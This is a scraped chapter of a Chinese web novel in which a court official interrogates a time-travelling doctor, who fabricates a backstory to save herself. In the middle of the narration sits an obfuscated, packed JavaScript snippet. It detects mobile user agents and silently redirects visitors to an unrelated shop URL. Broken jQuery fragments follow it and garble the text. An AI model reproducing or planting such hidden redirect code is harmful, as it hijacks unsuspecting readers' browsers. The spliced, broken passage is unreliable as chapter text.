默认冷灰
24号文字
方正启体

37. 狡辩

作者:闻秋研本书字数:K更新时间:
    在宋云熙的眼中,周润的演技太好了。只要不涉及性命之事一概装作不相关,不知道,但凡想要从她口中知道答案难于登天。


    与张沛民的相处从不主动提起,对余清风的异样避而不答,甚至于在她知道余清风可能是被人所利用时也沉默不语。


    唯有发现院落众人神色不对,以为自己要被杀人灭口之际才眼泪鼻涕横流。周润知道宋云熙现在没有实质证据证明自己时凶手,装聋作哑就是最好的选择。


    既然如此,宋云熙还带着自己的猜测去试探周润,就显得有些无用功了,倒不如他直接点破来得实在,


    “早年间,周文安送你去读私塾,却又怕女子读书会惹来非议,就借口你没有天赋而丢回家中学习女红。


    冯氏心疼自己的女儿被周文安养成菟丝花,百般劝说下才让周文安松口给你请了个私塾老师。


    但周文安算盘打得很响,请私塾老师的钱一分不出,全让冯氏负担。最后无果,只能在附近随便找了个怀才不遇在街边卖画为生的穷秀才。”


    宋云熙右手摸索杯口,忽地发出一声冷哼,


    “这个秀才只会写些酸诗,孙子兵法都只会背背上面的内容,更别提医术了。


    我倒是很好奇,这个穷酸秀才真得如此全能?既能教会你时事政策,又能教会你家中传承而来的医术。


    还是说,你根本不是原本的周润。”


    宋云熙的话铺垫到这,周润已经猜出对方的卷在柔软语气中的尖刺。


    步步递进,当他真得把这个疯狂的想法放到周润面前的时候,她早就失去了赔笑假扮不知情的耐心。


    果然,宋云熙怎么一直紧咬着自己和余清风不放,他甚至完全不知道那封密函的内容,就敢笃定是周润指使余清风身陷局内。


    原来是查出周润与原身之间行为作风的差异。


    宋云熙看着周润逃避的眼神,心中确信锦衣卫调查而来的东西绝对不假,这一番掐头去尾的话竟真得诈出对方的身份来。


    如此想着,宋云熙打算乘胜追击,在周润脆弱之际让她把事情全部坦白,


    “我也是听闻,自得知周文安打算强迫你答应婚事后,宁死不屈,一头就撞上墙壁,当场就昏死过去。


    醒来之后性情大变,直接答应下来张家的婚事。原本一个只会画画梅花,绣绣鸳鸯的深宅女子还忽然变得精通医术,在京中开起来自己的医馆。


    你应当,就是从这个时候把原本的周小姐换掉的吧?”


    宋云熙每说一句话,周润的脸色就黑上一分。


    她要怎么解释,宋云熙说的话都是真的,她就是穿越过来顶替掉原身的“外星人”。


    一个人的容貌前后一致,行径却大为不同,不是夺舍,那就是有人蓄意为之。


    宋云熙很贴心地帮周润选择了后者,“说吧,你到底效忠于谁。三皇子?六皇子?还是庆王?”


    周润面色依旧,只有因为用力咬紧而发白的嘴唇在不断颤抖。


    “那看来都不是。莫非,是外戚?”


    周润以为自己现在是在给宋云熙端出一份自己的成名之作,谁知对方早就将自己调查个底朝天,在见面之前就已经把自己划入凶手的行列中。


    她瞬间感觉到无力,自己挣扎数十遍,辩驳数百遍,这些苍白无力的解释在宋云熙眼里如同螳臂挡车。


    偏偏,周润又不能认栽。


    宋云熙这种在马背上打江山的人根本不会求神拜佛,顶多就顺着太后的话在出征前接下那副开过光的护身符。她现在说自己是夺舍了,肯定会被他扭送寺庙诵上七七四十九天的驱鬼经。


    至于后者,那就更加不能承认。


    现在宋云熙把她明晃晃地放在了张沛民的对立面,大有要将周润铲除以绝后患的脸面。现在承认自己换走了原先的周润,不就是承认了自己是谋害张沛民、余清风的真凶?


    “统,我现在怎么办,有没有一个好的说辞。”


    “宿主别怕,你等会找个借口摸他的手。你一碰到我就马上用电流把他颠到失意。”


    周润有些抓狂,


    “他现在失忆有什么用,锦衣卫查到的信息都明晃晃写在卷轴上呢!他一看见御书房的东西,啥都想起来了。到时候说不定还因为我这个妖女施法,罪加一等,要立刻把我处死。”


    系统一点用处都没有,真得不应该给他好脸色的。每次让他出点主意,什么都想不出来也就算了,老是说一些不切实际的东西来浪费时间。


    她现在真的维持不住贵女的体面,很想将两只手插到发髻里面狠狠揉搓自己的头皮,再尖叫几声寻找胡诌的灵感。


    但周润不能这么做


    她还没败呢,做这种消自己气焰的行为实在是有辱脸面。


    诶,不过目前来说周润确实离死亡就这么一线之隔了。


    她面前坐着的宋云熙如同定时炸弹一般,饶有兴趣地观看着周润绞尽脑汁地思考,失去希望的崩溃,最终因为包围自己的保护壳被无情揭开,只能吐出自己想要听到的话。


    再然后,就是宋云熙心满意足地把周润以及周润所供出来的名字划为叛党,一声令下让百八十个禁卫军押送他们进入地牢。


    周润不堪其辱咬舌自尽,带着0056登出这个世界。


    如此这般,周润两辈子加起来竟然还没活过30岁,真是英年早逝。


    现在,就差周润开口,这枚定时炸弹就会加快倒计时,最终在自己面前爆炸,顺便带走几个无辜之人。


    她忍不住咬着自己的舌头,试图让理智越过恐惧,重新思考对策。


    从小到大,周润读了不少“生当作人杰”的豪言壮志,年少时便带着一股热血存活于世间。她无数次觉得自己若是能为国捐躯,也不枉他人的期望。


    再到后来,她选择进入医学行业,通过自己的双手拯救一个又一个人的生命时,她又想到,这应当是另外一种回馈社会的方式。


    人固有一死,或重于泰山,或轻于鸿毛。


    周润以为,她在每一个阶段都完成了自己定下的目标,从未违背过年少许下的诺言,是不应该害怕死亡。


    可直到湖水漫过鼻腔,意识逐渐模糊之际,她才反应过来,原来人总是贪生怕死的。周润如同漂浮在海面上的求生者,不断抓着系统、任务这根浮木想要给自己一个喘息的机会,纵使心中认为是不可能完成的任务,却也不甘心就这样被命运送走。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269558|194354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    周润以为,她只需要遮蔽双目就能获得苟延残喘的生活,却没想到,原来连这里也不是百分百存活的机会。


    她很怕死,真得很怕。


    宋云熙静静地观赏着对面之人渐渐扭曲的面容,想到此人竟然也不是个硬骨头,自己一说出对方的破绽就想要自爆保命。


    此人吃硬不吃软,那就让宋云熙继续恐吓一下,


    “还是不愿意说吗?既然软硬不吃,那就只能让慎刑司的人来审问审问你了。”


    他收回桌底下摆弄玉扳指的手,作势就要呼喊门外守着的侍卫进来拿下周润。


    不行,绝对不行,被抓走就没有翻身的机会了。


    周润一咬牙一跺脚,赶紧起身把宋云熙的手按回桌子上,“好,我说,我说,我是无辜的。”


    事到如今,也没有什么好办法了,只能用科学的理论解释不科学的情况,把自己身上的事情遮遮掩掩,说一半藏一半地抖落出去再说。


    只要今日能将宋云熙唬住,让他心甘情愿地把周润放出去,剩下的事情就可以和系统、张沛民从长计议。


    这么想着,周润脑袋一转,就开始了胡编乱造起来,


    “是,我刚开始的确不愿意嫁予张沛民,甚至还趁着家中仆人不注意之时一头撞上墙壁寻死。当时我撞得狠,周边的大夫都说我这条命救不回来了。


    母亲不愿我就此殒命,托关系找到了京城西边的一家老字号,说什么也要让里面的大夫过来看我一眼。


    那日也凑巧,竟真有一位空闲的大夫能跟着过来,泽姝的小命才这样捡了回来。”


    宋云熙很显然是不信,皱着眉头给她摆出一副“看你继续胡扯”的表情,却也没有开口打断周润的话语。


    说到这,她知道自己不动点手段是博不了对方的同情了。五根手指猛然用力,指甲直接嵌入大腿皮肤,留下道道红痕。


    周润经受不住这种疼痛,眼中的泪花很快就涌现出来。


    她抽抽嗒嗒地用手帕掩面,继续说道,


    “没想到,这位竟是云游四方的药谷传人。他见我可怜,于心不忍,便给我留下了一本医册,多少能自学点东西谋生。


    可我还是不愿。还开口劝说药谷传人,我说,


    你真觉得我可怜,不如把一并带走云游四方,总好过让我今生今世都活在痛苦中。


    对方拗不过我,却也不想干涉他人的因果。所以临走前便给我算一卦,留了道方子,并告诉我,张沛民未必不是良配。”


    周润自嘲笑笑,似是觉得荒谬。自己以性命相逼却无人在意她到底是不愿意还是不愿意,只一味劝说周润松口答应张家的联姻,嫁过去了,就能过上好日子。


    “没有人愿意帮我,没有人。既然我没有办法摆脱这门婚事,也只能尝试着接受这门婚事。”


    说到这儿,周润的声音骤然拔高,不断强调自己的处境,


    “我不答应,就要被父亲困在那一间小小的房间里面反思,身上粗麻布衣刮得皮肤生疼,干冷发硬的馒头难以下咽。我不答应,我身上连逃跑的盘缠都没有,难道要活生生饿死在哪里吗?”


    宋云熙脸色发僵,他断然没想到周家嫁女背后藏着这些东西。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)